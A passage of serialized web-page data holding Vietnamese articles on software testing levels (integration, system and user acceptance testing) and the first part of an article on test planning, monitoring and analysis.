ro.",[1800,3204,3206],{"id":3205},"đối-tượng-của-kiểm-thử-tích-hợp",[20,3207,3208],{},"Đối tượng của kiểm thử tích hợp",[11,3210,3211],{},"Những đối tượng chính trong kiểm thử tích hợp bao gồm:",[31,3213,3214,3217,3220,3223,3226,3229],{},[34,3215,3216],{},"Các hệ thống con (subsystems)",[34,3218,3219],{},"Cơ sở dữ liệu",[34,3221,3222],{},"Hạ tầng (infrastructure)",[34,3224,3225],{},"Giao diện (interfaces)",[34,3227,3228],{},"API",[34,3230,3231],{},"Dịch vụ vi mô (microservices)",[1800,3233,3235],{"id":3234},"loại-kiểm-thử",[20,3236,3237],{},"Loại kiểm thử",[11,3239,3240],{},"Kiểm thử tích hợp bao gồm các loại kiểm thử sau:",[31,3242,3243,3246,3249,3252],{},[34,3244,3245],{},"Kiểm thử chức năng: Kiểm tra liệu hệ thống hoạt động đúng theo đặc tả",[34,3247,3248],{},"Kiểm thử phi chức năng: Kiểm tra các yếu tố như hiệu suất, độ tin cậy, v.v.",[34,3250,3251],{},"Kiểm thử hộp trắng (white-box test): Xem xét cấu trúc và logic bên trong",[34,3253,3254],{},"Kiểm thử hồi quy (regression test): Đảm bảo rằng các thay đổi không gây ảnh hưởng đến hệ thống hoặc giao diện hiện có",[11,3256,3257],{},"Đặc biệt, kiểm thử hồi quy đóng vai trò quan trọng trong việc xác nhận rằng các thay đổi không làm ảnh hưởng đến hệ thống. Việc tự động hóa kiểm thử hồi quy cũng giúp nâng cao hiệu quả. Trong một số trường hợp, kiểm thử hiệu suất có thể được thực hiện ở giai đoạn kiểm thử tích hợp thành phần.",[1800,3259,3261],{"id":3260},"các-lỗi-thường-gặp-trong-kiểm-thử",[20,3262,3263],{},"Các lỗi thường gặp trong kiểm thử",[3265,3266,3268],"h5",{"id":3267},"lỗi-thường-gặp-trong-kiểm-thử-tích-hợp-thành-phần",[20,3269,3270],{},"Lỗi thường gặp trong kiểm thử tích hợp thành phần",[31,3272,3273,3276,3279,3282,3285,3288],{},[34,3274,3275],{},"Dữ liệu không chính xác, thiếu dữ liệu, hoặc mã hóa dữ liệu sai",[34,3277,3278],{},"Thứ tự hoặc thời gian gọi giao diện không chính xác",[34,3280,3281],{},"Không nhất quán trong giao diện",[34,3283,3284],{},"Lỗi truyền dữ liệu giữa các thành phần",[34,3286,3287],{},"Xử lý không đầy đủ hoặc không phù hợp khi phát sinh lỗi truyền dữ liệu.",[34,3289,3290],{},"Giả định sai về ý nghĩa, đơn vị, hoặc giới hạn của dữ liệu",[3265,3292,3294],{"id":3293},"lỗi-thường-gặp-trong-kiểm-thử-tích-hợp-hệ-thống",[20,3295,3296],{},"Lỗi thường gặp trong kiểm thử tích hợp hệ thống",[31,3298,3299,3302,3304,3307,3310,3312],{},[34,3300,3301],{},"Cấu trúc lời nhắn không đồng nhất giữa các hệ thống",[34,3303,3281],{},[34,3305,3306],{},"Lỗi truyền dữ liệu giữa các hệ thống",[34,3308,3309],{},"Xử lý không đầy đủ hoặc không phù hợp với khi phát sinh lỗi truyền dữ liệu",[34,3311,3290],{},[34,3313,3314],{},"Không tuân thủ các quy định về bảo mật",[11,3316,3317],{},"Trong kiểm thử tích hợp, việc phát hiện sớm các lỗi này rất quan trọng để đảm bảo độ tin cậy giữa các hệ thống.",[1800,3319,3321],{"id":3320},"người-thực-hiện-kiểm-thử-phân-chia-vai-trò",[20,3322,3323],{},"Người thực hiện kiểm thử (phân chia vai trò)",[31,3325,3326,3329],{},[34,3327,3328],{},"Kiểm thử tích hợp thành phần: Thường do các nhà lập trình viên đảm nhận",[34,3330,3331],{},"Kiểm thử tích hợp hệ thống: Thường được thực hiện bởi đội ngũ chuyên môn kiểm thử",[1800,3333,3335],{"id":3334},"phương-pháp-đặc-thù-1",[20,3336,3078],{},[11,3338,3339],{},"Lập kế hoạch chiến lược tích hợp và kế hoạch kiểm thử tích hợp trước khi phát triển giúp xây dựng kế hoạch kiểm thử phù hợp với kiến trúc phần mềm và hệ thống. Điều này tối ưu hóa hiệu quả kiểm thử trong suốt quá trình phát triển.",[498,3341,3343],{"id":3342},"_3-kiểm-thử-hệ-thống",[20,3344,3345],{},"3\u002F Kiểm thử hệ thống",[11,3347,3348],{},"Trong kiểm thử hệ thống, cả khía cạnh chức năng và phi chức năng của toàn bộ sản phẩm phần mềm đều được kiểm tra theo kế hoạch kiểm thử tổng thể và kế hoạch kiểm thử hệ thống. Quá trình này kiểm tra hoạt động từ đầu đến cuối và công suất của hệ thống.",[1800,3350,3352],{"id":3351},"mục-đích-của-kiểm-thử",[20,3353,3354],{},"Mục đích của kiểm thử",[11,3356,3357],{},"Kiểm thử hệ thống có các mục đích đa dạng như sau:",[31,3359,3360,3363,3366,3369,3372,3375,3378,3381,3384],{},[34,3361,3362],{},"Phát hiện các lỗi tiềm ẩn của đối tượng kiểm thử",[34,3364,3365],{},"Kiểm tra xem hành vi chức năng của đối tượng kiểm thử giống thiết kế và đặc tả kỹ thuật chưa",[34,3367,3368],{},"Kiểm tra xem hành vi phi chức năng của đối tượng kiểm thử giống thiết kế và đặc tả kỹ chưa",[34,3370,3371],{},"Kiểm tra xem hệ thống đã hoàn thiện và hoạt động đúng như mong đợi hay chưa",[34,3373,3374],{},"Xác nhận rằng hệ thống đáp ứng các yêu cầu hoặc tiêu chuẩn pháp lý và quy định",[34,3376,3377],{},"Đảm bảo rằng chất lượng tổng thể của hệ thống đáng tin cậy (xây dựng sự tin cậy)",[34,3379,3380],{},"Tránh bỏ sót các lỗi quan trọng chưa được phát hiện",[34,3382,3383],{},"Kiểm tra chất lượng dữ liệu",[34,3385,3386],{},"Giảm thiểu rủi ro",[1800,3388,3390],{"id":3389},"đối-tượng-kiểm-thử-2",[20,3391,2988],{},[11,3393,3394],{},"Các đối tượng kiểm thử trong kiểm thử hệ thống bao gồm:",[31,3396,3397,3400,3403,3406],{},[34,3398,3399],{},"Ứng dụng",[34,3401,3402],{},"Hệ thống phần cứng\u002Fphần mềm",[34,3404,3405],{},"Hệ thống đối tượng kiểm thử (SUT - System Under Test)",[34,3407,3408],{},"Cấu hình hệ thống và dữ liệu cấu hình",[1800,3410,3412],{"id":3411},"các-loại-kiểm-thử",[20,3413,3414],{},"Các loại kiểm thử",[11,3416,3417],{},"Kiểm thử hệ thống bao gồm các loại kiểm thử như:",[31,3419,3420,3423,3426,3429],{},[34,3421,3422],{},"Kiểm thử chức năng",[34,3424,3425],{},"Kiểm thử phi chức năng",[34,3427,3428],{},"Kiểm thử hộp trắng (White-box Testing)",[34,3430,3431],{},"Kiểm thử hồi quy (Regression Testing)",[11,3433,3434],{},"Kiểm thử hệ thống kiểm tra các yêu cầu chức năng, yêu cầu phi chức năng, và các đặc tính chất lượng dữ liệu của hệ thống. Để xác minh những yếu tố này, nhiều loại kiểm thử khác nhau được áp dụng.",[11,3436,3437],{},"Kiểm thử hồi quy là một loại kiểm thử đặc biệt quan trọng để xác nhận rằng những thay đổi trong hệ thống không phá hủy các chức năng hoặc khả năng từ đầu đến cuối đã có. Trong một số trường hợp, kiểm thử hồi quy được tự động hóa để nâng cao hiệu quả.",[1800,3439,3441],{"id":3440},"các-lỗi-điển-hình-được-phát-hiện-trong-kiểm-thử-hệ-thống",[20,3442,3443],{},"Các lỗi điển hình được phát hiện trong kiểm thử hệ thống",[11,3445,3446],{},"Trong kiểm thử hệ thống, những lỗi điển hình thường được phát hiện bao gồm:",[31,3448,3449,3452,3455,3458,3461,3464],{},[34,3450,3451],{},"Sai sót trong tính toán",[34,3453,3454],{},"Hành vi chức năng hoặc phi chức năng của hệ thống không chính xác hoặc không như mong đợi",[34,3456,3457],{},"Luồng điều khiển hoặc luồng dữ liệu trong hệ thống không phù hợp",[34,3459,3460],{},"Không thể thực hiện đầy đủ và chính xác các tác vụ chức năng từ đầu đến cuối",[34,3462,3463],{},"Hệ thống không hoạt động đúng trong môi trường sản xuất",[34,3465,3466],{},"Hệ thống không hoạt động theo hướng dẫn trong tài liệu hệ thống hoặc tài liệu hướng dẫn người dùng",[11,3468,3469],{},"Các lỗi liên quan đến yêu cầu đặc tả có thể dẫn đến việc hiểu sai về cử động của hệ thống, từ đó gây ra kết quả kiểm thử sai.",[11,3471,3472],{},"Để tránh những tình trạng như vậy, người kiểm thử nên tham gia vào các hoạt động điều chỉnh câu chuyện người dùng (user story refinement) trước khi thực hiện kiểm thử động. Hoạt động này bao gồm xem xét, sửa đổi, thống nhất nhận thức, và ước lượng nội dung yêu cầu. Đồng thời, việc thực hiện kiểm thử tĩnh sớm trong quá trình phát triển cũng rất quan trọng.",[1800,3474,3476],{"id":3475},"người-thực-hiện-kiểm-thử-1",[20,3477,3066],{},[11,3479,3480],{},"Kiểm thử hệ thống có thể do nhóm kiểm thử trong tổ chức phát triển thực hiện. Ngoài ra cũng có thể được đảm nhiệm bởi một nhóm kiểm thử riêng biệt.",[1800,3482,3484,64],{"id":3483},"phương-pháp-tiếp-cận-đặc-thù",[20,3485,3486],{},"Phương pháp tiếp cận đặc thù",[657,3488,3490,3491,3494],{"id":3489},"kiểm-thử-hệ-thống-sử-dụng-các-kỹ-thuật-kiểm-thử-phù-hợp-ví-dụ-sử-dụng-bảng-quyết-định-decision-table-để-kiểm-tra-cử-động-của-chức-năng-dựa-trên-các-quy-tắc-nghiệp-vụ","Kiểm thử hệ thống sử dụng các kỹ thuật kiểm thử phù hợp. Ví dụ, sử dụng ",[1277,3492,3493],{},"bảng quyết định"," (decision table) để kiểm tra cử động của chức năng dựa trên các quy tắc nghiệp vụ.",[11,3496,3497],{},"Ngoài ra, khi tiến hành kiểm thử hệ thống, lý tưởng nhất là nên thực hiện trong môi trường kiểm thử càng giống môi trường sản xuất (staging environment) càng tốt, thay vì trong môi trường phát triển nơi đã thực hiện kiểm thử tích hợp thành phần. Điều này giúp phát hiện các lỗi liên quan đến môi trường mà không thể tìm thấy trong môi trường phát triển.",[11,3499,3500],{},"Kết quả từ kiểm thử hệ thống thường là cơ sở để quyết định xem hệ thống có thể được phát hành (release) hay chưa. ",[498,3502,3504],{"id":3503},"_4-kiểm-thử-nghiệm-thu-người-dùng-user-acceptance-test",[20,3505,3506],{},"4\u002F Kiểm thử nghiệm thu người dùng (User Acceptance Test)",[11,3508,3509],{},"Kiểm thử nghiệm thu đánh giá các khía cạnh chức năng và phi chức năng của toàn bộ hệ thống hoặc sản phẩm phần mềm, tương tự như kiểm thử hệ thống. Tuy nhiên, kiểm thử nghiệm thu không chỉ thực hiện ngay trước khi phát hành mà còn có thể diễn ra ở nhiều giai đoạn khác nhau trong vòng đời phát triển phần mềm. Dưới đây là các loại kiểm thử nghiệm thu phổ biến:",[31,3511,3512,3515,3518,3521,3524],{},[34,3513,3514],{},"Kiểm thử nghiệm thu người dùng (User Acceptance Testing - UAT)",[34,3516,3517],{},"Kiểm thử nghiệm thu vận hành (Operational Acceptance Testing)",[34,3519,3520],{},"Kiểm thử nghiệm thu theo hợp đồng (Contract Acceptance Testing)",[34,3522,3523],{},"Kiểm thử nghiệm thu theo quy định (Regulatory Acceptance Testing)",[34,3525,3526],{},"Kiểm thử alpha và beta (Alpha Testing và Beta Testing)",[1800,3528,3530],{"id":3529},"kiểm-thử-nghiệm-thu-người-dùng",[20,3531,3532],{},"Kiểm thử nghiệm thu người dùng",[11,3534,3535],{},"Đây là quá trình người dùng xác minh xem hệ thống có vận hành đúng theo nghiệp vụ hay không. Kiểm thử này thường được thực hiện trong môi trường vận hành thực tế hoặc môi trường vận hành giả lập, nơi người dùng sử dụng hệ thống và đánh giá xem hệ thống có đáp ứng được các yêu cầu và nhu cầu của họ hay không.",[1800,3537,3539],{"id":3538},"kiểm-thử-nghiệm-thu-vận-hành",[20,3540,3541],{},"Kiểm thử nghiệm thu vận hành",[11,3543,3544],{},"Kiểm thử vận hành tập trung vào các khía cạnh vận hành của hệ thống và thường do các nhà quản trị hệ thống hoặc người vận hành thực hiện. Thông thường, kiểm thử được tiến hành trong môi trường thực tế hoặc giả lập với các nội dung sau:",[31,3546,3547,3550,3553,3556,3559,3562,3565,3568],{},[34,3548,3549],{},"Kiểm thử sao lưu và phục hồi dữ liệu",[34,3551,3552],{},"Cài đặt, gỡ bỏ cài đặt, và nâng cấp hệ thống",[34,3554,3555],{},"Phục hồi sau sự cố",[34,3557,3558],{},"Quản lý người dùng",[34,3560,3561],{},"Bảo trì",[34,3563,3564],{},"Chuyển đổi và tải dữ liệu",[34,3566,3567],{},"Kiểm tra lỗ hổng bảo mật",[34,3569,3570],{},"Kiểm tra hiệu năng",[1800,3572,3574],{"id":3573},"kiểm-thử-nghiệm-thu-theo-hợp-đồng",[20,3575,3576],{},"Kiểm thử nghiệm thu theo hợp đồng",[11,3578,3579],{},"Loại kiểm thử này được áp dụng khi phát triển phần mềm theo yêu cầu riêng (custom software). Nó xác minh xem hệ thống có đáp ứng các tiêu chí chấp nhận mà đã được thỏa thuận trong hợp đồng giữa khách hàng và nhóm phát triển hay không. Các tiêu chí này được đặt ra tại thời điểm ký kết hợp đồng và là cơ sở để đánh giá.",[1800,3581,3583],{"id":3582},"kiểm-thử-nghiệm-thu-theo-quy-định",[20,3584,3585],{},"Kiểm thử nghiệm thu theo quy định",[11,3587,3588],{},"Kiểm thử này đảm bảo rằng hệ thống hoặc phần mềm tuân thủ các quy định của chính phủ, pháp luật, hoặc các tiêu chuẩn về an toàn. Các lĩnh vực như kế toán, bảo mật, y tế thường có các tiêu chuẩn pháp lý cụ thể cần được kiểm tra và xác nhận thông qua loại kiểm thử này.",[1800,3590,3592],{"id":3591},"kiểm-thử-alpha-và-beta",[20,3593,3594],{},"Kiểm thử alpha và beta",[11,3596,3597],{},"Trường hợp là phần mềm thương mại, kiểm thử alpha và beta được thực hiện trước khi phát hành sản phẩm ra thị trường nhằm thu thập phản hồi từ người dùng tương lai hoặc khách hàng hiện tại.",[11,3599,3600],{},"Kiểm thử alpha thường diễn ra trước kiểm thử beta, với mục tiêu phát hiện lỗi lớn và cải thiện hệ thống. Kiểm thử beta được thực hiện bởi người dùng thực tế trong môi trường gần như thật để thu thập phản hồi cuối cùng trước khi phát hành sản phẩm.",[11,3602,3603],{},"Trong một số trường hợp, kiểm thử beta có thể được tiến hành mà không cần kiểm thử alpha.",[1800,3605,3607,64],{"id":3606},"mục-đích-của-kiểm-thử-nghiệm-thu",[20,3608,3609],{},"Mục đích của kiểm thử nghiệm thu",[31,3611,3612,3615,3618,3621],{},[34,3613,3614],{},"Xác nhận hệ thống hoạt động chức năng theo đúng đặc tả kỹ thuật",[34,3616,3617],{},"Xác nhận hệ thống hoạt động phi chức năng theo đúng đặc tả kỹ thuật",[34,3619,3620],{},"Đánh giá tính hợp lệ của hệ thống để đảm bảo rằng nó hoàn thiện và hoạt động như mong đợi",[34,3622,3623],{},"Xác nhận rằng chất lượng tổng thể của hệ thống là đáng tin cậy",[1800,3625,3627,64],{"id":3626},"đối-tượng-kiểm-thử-3",[20,3628,2988],{},[11,3630,3631],{},"Trong kiểm thử nghiệm thu, các đối tượng kiểm thử bao gồm:",[31,3633,3634,3637,3640,3643,3646,3649,3652],{},[34,3635,3636],{},"Hệ thống được kiểm thử",[34,3638,3639],{},"Cấu hình và dữ liệu cấu hình của hệ thống",[34,3641,3642],{},"Quy trình kinh doanh của hệ thống được tích hợp đầy đủ",[34,3644,3645],{},"Quy trình vận hành và quy trình bảo trì",[34,3647,3648],{},"Báo cáo",[34,3650,3651],{},"Định dạng",[34,3653,3654],{},"Dữ liệu vận hành được lưu trữ hoặc chuyển đổi",[1800,3656,3658,64],{"id":3657},"những-lỗi-điển-hình",[20,3659,3660],{},"Những lỗi điển hình",[11,3662,3663],{},"Các lỗi thường được phát hiện trong kiểm thử nghiệm thu bao gồm:",[31,3665,3666,3669,3672,3675],{},[34,3667,3668],{},"Luồng công việc của hệ thống không đáp ứng yêu cầu kinh doanh hoặc yêu cầu người dùng",[34,3670,3671],{},"Quy tắc kinh doanh không được triển khai chính xác",[34,3673,3674],{},"Hệ thống không đáp ứng các yêu cầu hợp đồng hoặc quy định",[34,3676,3677],{},"Các lỗi về đặc tính phi chức năng, chẳng hạn như lỗ hổng bảo mật, hiệu năng không đủ khi tải cao, hoặc lỗi hoạt động trên các nền tảng được hỗ trợ",[1800,3679,3681,64],{"id":3680},"người-thực-hiện-kiểm-thử-2",[20,3682,3066],{},[11,3684,3685],{},"Kiểm thử nghiệm thu được thực hiện bởi khách hàng, người dùng doanh nghiệp, chủ sở hữu sản phẩm, người vận hành hệ thống và các bên liên quan khác.",[11,3687,3688],{},"Người thực hiện kiểm thử chính theo từng loại kiểm thử nghiệm thu:",[31,3690,3691,3702,3713,3724,3736],{},[34,3692,3693,3694],{},"Kiểm thử nghiệm thu người dùng\n",[31,3695,3696,3699],{},[34,3697,3698],{},"Khách hàng",[34,3700,3701],{},"Người dùng doanh nghiệp",[34,3703,3704,3705],{},"Kiểm thử nghiệm thu vận hành\n",[31,3706,3707,3710],{},[34,3708,3709],{},"Người vận hành",[34,3711,3712],{},"Quản trị viên hệ thống",[34,3714,3715,3716],{},"Kiểm thử nghiệm thu theo hợp đồng\n",[31,3717,3718,3721],{},[34,3719,3720],{},"Người dùng",[34,3722,3723],{},"Người kiểm thử độc lập",[34,3725,3726,3727],{},"Kiểm thử nghiệm thu theo quy định\n",[31,3728,3729,3731,3733],{},[34,3730,3720],{},[34,3732,3723],{},[34,3734,3735],{},"Cơ quan quản lý (trong trường hợp cần xác minh hoặc kiểm toán kết quả kiểm thử)",[34,3737,3738,3739],{},"Kiểm thử Alpha\n",[31,3740,3741,3744,3747,3750],{},[34,3742,3743],{},"Khách hàng tiềm năng",[34,3745,3746],{},"Khách hàng hiện tại",[34,3748,3749],{},"Người vận hành hệ thống",[34,3751,3752],{},"Đội ngũ kiểm thử độc lập",[1800,3754,3756,64],{"id":3755},"phương-pháp-tiếp-cận-đặc-thù-1",[20,3757,3486],{},[11,3759,3760],{},"Trong phát triển tuần tự (sequential development), kiểm thử nghiệm thu thường được thực hiện vào cuối vòng đời phát triển. Tuy nhiên, nó cũng có thể được thực hiện trong các tình huống sau:",[31,3762,3763,3766],{},[34,3764,3765],{},"Phần mềm thương mại (COTS): Kiểm thử nghiệm thu được thực hiện trong quá trình cài đặt hoặc tích hợp",[34,3767,3768],{},"Phát triển tính năng mới theo ủy thác: Kiểm thử nghiệm thu có thể được thực hiện trước kiểm thử hệ thống để xác nhận không có lỗi trong giao diện hoặc xử lý tương tác",[11,3770,3771],{},"Trong Phát triển lặp (iterative development), kiểm thử nghiệm thu được thực hiện vào cuối hoặc sau mỗi vòng lặp, hoặc sau nhiều vòng lặp.",[11,3773,3774],{},"Dựa trên kết quả kiểm thử nghiệm thu, có thể đánh giá hệ thống đã sẵn sàng phát hành hoặc khách hàng đã có thể sử dụng hệ thống hay chưa.",[11,3776,3777],{},"※Bài tập luyện tập:",[11,3779,3780],{},[58,3781,3782],{"href":3782,"rel":3783},"https:\u002F\u002Fexam-site.briswell-vn.com\u002FstartTest\u002Fjstqb-5-vn",[62],{"title":66,"searchDepth":67,"depth":67,"links":3785},[3786,3787,3788,3792],{"id":2947,"depth":67,"text":2950},{"id":3093,"depth":67,"text":3096},{"id":3342,"depth":67,"text":3345,"children":3789},[3790],{"id":3489,"depth":1417,"text":3791},"Kiểm thử hệ thống sử dụng các kỹ thuật kiểm thử phù hợp. Ví dụ, sử dụng bảng quyết định (decision table) để kiểm tra cử động của chức năng dựa trên các quy tắc nghiệp vụ.",{"id":3503,"depth":67,"text":3506},"2024-12-11","Kiểm thử được thực hiện ở nhiều cấp độ khác nhau, từ cấp độ theo đơn vị nhỏ (unit) đến cấp độ theo hệ thống (systems) hoặc tập hợp các hệ thống (system of systems) (các hệ thống quy mô lớn được cấu thành từ nhiều hệ thống, chẳng hạn như hệ thống sử dụng ở ngân hàng). Kiểm thử có thể được tiến hành để kiểm tra xem code có đúng không và cũng để xác nhận xem người dùng có thể sử dụng một cách thuận tiện trong công việc hay không, do đó tùy vào mục đích và kiểu kiểm thử mà các lỗi được phát hiện ra sẽ khác nhau. Thay vì kiểm thử những yếu tố khác nhau cùng một lúc, sẽ hiệu quả hơn nếu ta hệ thống hóa và quản lý từng yếu tố một cách có tổ chức.",{},"\u002Fvi\u002Fnews\u002Fcac-cap-do-kiem-thu-phan-mem",{"title":2913,"description":3794},"vi\u002Fnews\u002Fcac-cap-do-kiem-thu-phan-mem","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F12\u002F10162638\u002FScreenshot-2024-12-10-162335.png","5MZVSd32RNX1au0xg4XPDov-zdoWSPVlk8WpMFTaFSw",{"id":3802,"title":3803,"body":3804,"category":356,"created by":70,"date":3953,"description":3808,"extension":72,"meta":3954,"navigation":74,"path":3955,"sections":76,"seo":3956,"stem":3957,"thumbnail":3958,"__hash__":3959},"content_vi\u002Fvi\u002Fnews\u002Fcac-hoat-dong-chinh-trong-quy-trinh-kiem-thu-phan-mem-phan-1.md","Các hoạt động chính trong quy trình kiểm thử phần mềm - Phần 1",{"type":8,"value":3805,"toc":3951},[3806,3809,3812,3835,3838,3841,3849,3857,3860,3863,3868,3871,3874,3879,3882,3885,3890,3893,3896,3901,3904,3909,3912,3917,3920,3923,3934,3937,3940,3945],[11,3807,3808],{},"Quy trình kiểm thử phần mềm là toàn bộ quá trình từ khi chuẩn bị kiểm thử cho đến khi hoàn thành kiểm thử. Trong quá trình này, có rất nhiều hoạt động được thực hiện. Quy trình kiểm thử phần mềm có thể được hiểu đơn giản là tổng hợp những hoạt động kiểm thử đã được sắp xếp và phân loại theo từng giai đoạn. Tùy theo tình hình thực tế, quy trình này có thể được rút gọn, loại bỏ một số giai đoạn. Những yếu tố có thể ảnh hưởng đến quy trình kiểm thử phần mềm bao gồm quy mô dự án, dự toán ngân sách và các tiêu chuẩn pháp luật.",[11,3810,3811],{},"Một quy trình kiểm thử cơ bản, thông thường sẽ bao gồm 7 loại hoạt động dưới đây: ",[31,3813,3814,3817,3820,3823,3826,3829,3832],{},[34,3815,3816],{},"Lập kế hoạch kiểm thử",[34,3818,3819],{},"Giám sát và kiểm soát kiểm thử",[34,3821,3822],{},"Phân tích kiểm thử",[34,3824,3825],{},"Thiết kế kiểm thử",[34,3827,3828],{},"Phát triển kiểm thử",[34,3830,3831],{},"Thực hiện kiểm thử ",[34,3833,3834],{},"Hoàn thành kiểm thử",[11,3836,3837],{},"Tùy thuộc vào từng trường hợp, các hoạt động trên có thể được thực hiện theo thứ tự hoặc đồng thời. Ví dụ, người ta có thể vừa phân tích, vừa thiết kế kiểm thử, đồng thời thực hiện kiểm thử với các trường hợp đã rõ yêu cầu. Cần dựa vào các yếu tố khách quan, như mô hình phát triển của phần mềm, để điều chỉnh thời điểm và thời gian thực hiện các hoạt động kiểm thử sao cho phù hợp.",[11,3839,3840],{},"Hôm nay chúng ta sẽ cùng tìm hiểu chi tiết về 3 hoạt động đầu tiên trong quy trình kiểm thử: ",[31,3842,3843,3845,3847],{},[34,3844,3816],{},[34,3846,3819],{},[34,3848,3822],{},[11,3850,3851,56,3854],{},[20,3852,3853],{},"1\u002F Lập",[20,3855,3856],{},"kế hoạch kiểm thử",[11,3858,3859],{},"Trong việc hoạch định kế hoạch kiểm thử, bước đầu tiên cần thực hiện là làm rõ mục đích của việc kiểm thử. Mục đích kiểm thử sẽ khác nhau tùy thuộc vào thời gian giao hàng và lý do tồn tại của sản phẩm được kiểm thử. Ví dụ, nếu ưu tiên là thời gian giao sản phẩm, thì mục đích kiểm thử sẽ tập trung vào việc xác nhận các chức năng chính của sản phẩm.",[11,3861,3862],{},"Ngoài ra, tùy theo loại kiểm thử như unit test, integration test (IT test), hay system test, mục đích kiểm thử cũng sẽ khác nhau. Cụ thể, khi thực hiện unit test, mục đích sẽ là kiểm tra kỹ lưỡng và chi tiết các chức năng riêng lẻ, trong khi đó, khi thực hiện integration test, mục đích là kiểm tra luồng di chuyển và tương tác giữa các thành phần của phần mềm.",[11,3864,3865],{},[20,3866,3867],{},"2\u002F Giám sát và kiểm soát kiểm thử",[11,3869,3870],{},"Điều quan trọng để có thể kiểm soát quy trình kiểm thử là nắm rõ tình trạng các hoạt động và nhiệm vụ kiểm thử, tức là cần tổ chức giám sát quy trình kiểm thử. Nếu không giám sát, sẽ khó xác định liệu việc kiểm thử có đang được thực hiện theo đúng phương hướng hay không, và không thể lý giải một cách khách quan về tình hình kiểm thử có đang diễn ra thuận lợi hay không. Việc lý giải khách quan này liên quan đến tiêu chí kết thúc kiểm thử, cho phép phán đoán về việc có thể kết thúc các hoạt động kiểm thử hay không. Chỉ cần có tiêu chí kết thúc, ta có thể đưa ra quyết định về việc hoàn tất các hoạt động kiểm thử.",[11,3872,3873],{},"Về các hạng mục giám sát, trong thời gian thực hiện kiểm thử, cần xem xét độ lệch giữa kế hoạch test và tiến độ hiện tại, đồng thời phân tích chất lượng của đối tượng kiểm thử dựa trên tình trạng bug xuất hiện và tiến độ hàng ngày của các ca kiểm thử. Các vấn đề này nên được báo cáo với các bên liên quan dưới dạng báo cáo tiến độ kiểm thử. Thông qua những hoạt động này, ta không chỉ so sánh độ lệch với kế hoạch kiểm thử mà còn xem xét cả mục đích đã được đề ra trong kế hoạch dự án. Nếu cần thiết, cần đưa ra ý kiến xem xét lại kế hoạch kiểm thử và kế hoạch của dự án.",[11,3875,3876],{},[20,3877,3878],{},"3\u002F Phân tích kiểm thử",[11,3880,3881],{},"Khi phân tích kiểm thử, chúng ta sẽ thu thập các thông tin cần thiết để tiến hành kiểm thử, tức là thu thập test basis (cơ sở kiểm thử), trong đó ghi lại các thông tin về thiết kế phần mềm, yêu cầu chức năng, yêu cầu phi chức năng, cũng như các thành phần và cấu trúc của phần mềm. Tiếp theo, chúng ta sẽ tiến hành xem xét, chọn lọc và thu thập lại thông tin, đồng thời tạo ra những thông tin mới nếu cần thiết. Từ đó, chúng ta sẽ phán đoán xem chức năng nào (bao gồm component và thuộc tính hệ thống) có thể được kiểm thử.",[11,3883,3884],{},"Đối với những đối tượng kiểm thử đã trải qua bước phân tích, các kỹ thuật test và chiến lược test sẽ được xây dựng trong hoạt động tiếp theo, là hoạt động Thiết kế kiểm thử. Dưới đây là chi tiết về những nhiệm vụ cần thực hiện trong quá trình phân tích kiểm thử.",[11,3886,3887],{},[20,3888,3889],{},"Phân tích test basis hợp lý ở mỗi test level",[11,3891,3892],{},"Kỹ thuật viên thiết kế test (kiểm thử) sẽ là người phân tích test basis. Trong test basis bao gồm các tài liệu như RFP (Đề nghị mời thầu), Use Case (Trường hợp sử dụng), Purchase Specification (Đặc điểm kỹ thuật mua), và User Story (Tài liệu mô tả tính năng từ góc nhìn của người dùng). Ngoài ra, còn rất nhiều tài liệu khác như thông số yêu cầu kỹ thuật, định nghĩa kiến trúc, báo cáo phân tích rủi ro, thông số kỹ thuật thiết kế, thông số giao diện, và các tài liệu tiêu chuẩn (bao gồm cả các tài liệu công khai như RFC và tiêu chuẩn ISO\u002FIEC, cũng như các tiêu chuẩn nội bộ của tổ chức).",[11,3894,3895],{},"Test basis không chỉ bao gồm các tài liệu chính thức, mà còn chứa các ghi chép từ các cuộc họp, email trao đổi, và ghi chú trên bảng trắng từ thời điểm phát triển. Nó sẽ khác nhau tùy thuộc vào phương thức và phong cách giao tiếp của mỗi dự án.",[11,3897,3898,64],{},[20,3899,3900],{},"Đánh giá test basis và hạng mục test để phân chia các loại lỗi khác nhau",[11,3902,3903],{},"Sau khi phân tích test basis, cần nhận diện những lỗi cố hữu có trong test basis. Những lỗi dễ nhận biết, chẳng hạn như khi tài liệu đặc tả yêu cầu ghi nhận một thông tin nào đó nhưng tài liệu đặc tả chức năng lại không đề cập đến, ta có thể báo cáo vấn đề này là lỗi hoặc tài liệu có thể phát sinh mâu thuẫn. Ngoài ra, cũng có những lỗi do ghi chép không chính xác hoặc không rõ ràng. Ví dụ, nếu tài liệu yêu cầu kiểm tra xem nội dung có dễ đọc hay không nhưng không mô tả cụ thể tiêu chí nào là \"dễ đọc\", thì chuyên viên kiểm thử có thể thực hiện kiểm thử dựa trên đánh giá chủ quan của bản thân. Do đó, để thực hiện kiểm thử một cách khách quan, cần cung cấp thông tin thiết kế có định lượng cụ thể (ví dụ: font chữ Times New Roman, kích thước chữ 13) thay vì định tính như trên. Đặc biệt cần chú ý trong trường hợp tài liệu được viết bằng ngôn ngữ logic hoặc có cấu trúc câu dài, không rõ ràng về chủ ngữ và vị ngữ.",[11,3905,3906],{},[20,3907,3908],{},"Phân chia tính năng (feature) cần kiểm thử và nhóm tính năng (feature set)",[11,3910,3911],{},"Feature là “một tính năng được xác định rõ ràng hoặc ngầm định của một thành phần hoặc thuộc tính của hệ thống (ví dụ: độ tin cậy, khả năng sử dụng, các ràng buộc về thiết kế, v.v.)”. Khi thực hiện kiểm thử các tính năng này, ở mỗi cấp độ kiểm thử, ta sẽ lọc ra những tính năng có thể kiểm thử được ở cấp độ đó và nhóm chúng lại thành các nhóm tính năng, gọi là feature set, sao cho mỗi set có thể được kiểm thử độc lập. Trong một số trường hợp, đối với các dự án nhỏ chỉ có một tính năng, sẽ chỉ tồn tại một feature set duy nhất.",[11,3913,3914],{},[20,3915,3916],{},"Quyết định điều kiện kiểm thử của từng tính năng và thứ tự kiểm thử dựa trên phân tích test basis",[11,3918,3919],{},"Từ việc thu thập và phân tích test basis, ta làm rõ điều kiện kiểm thử cho từng tính năng. Cần bổ sung vào tài liệu xem xét những yếu tố kinh doanh như thời gian có thể thực hiện kiểm thử dựa trên tình hình chuẩn bị môi trường test, các ràng buộc về lịch trình, trình độ cần có của kỹ thuật viên kiểm thử, và các kỹ thuật cần thiết để 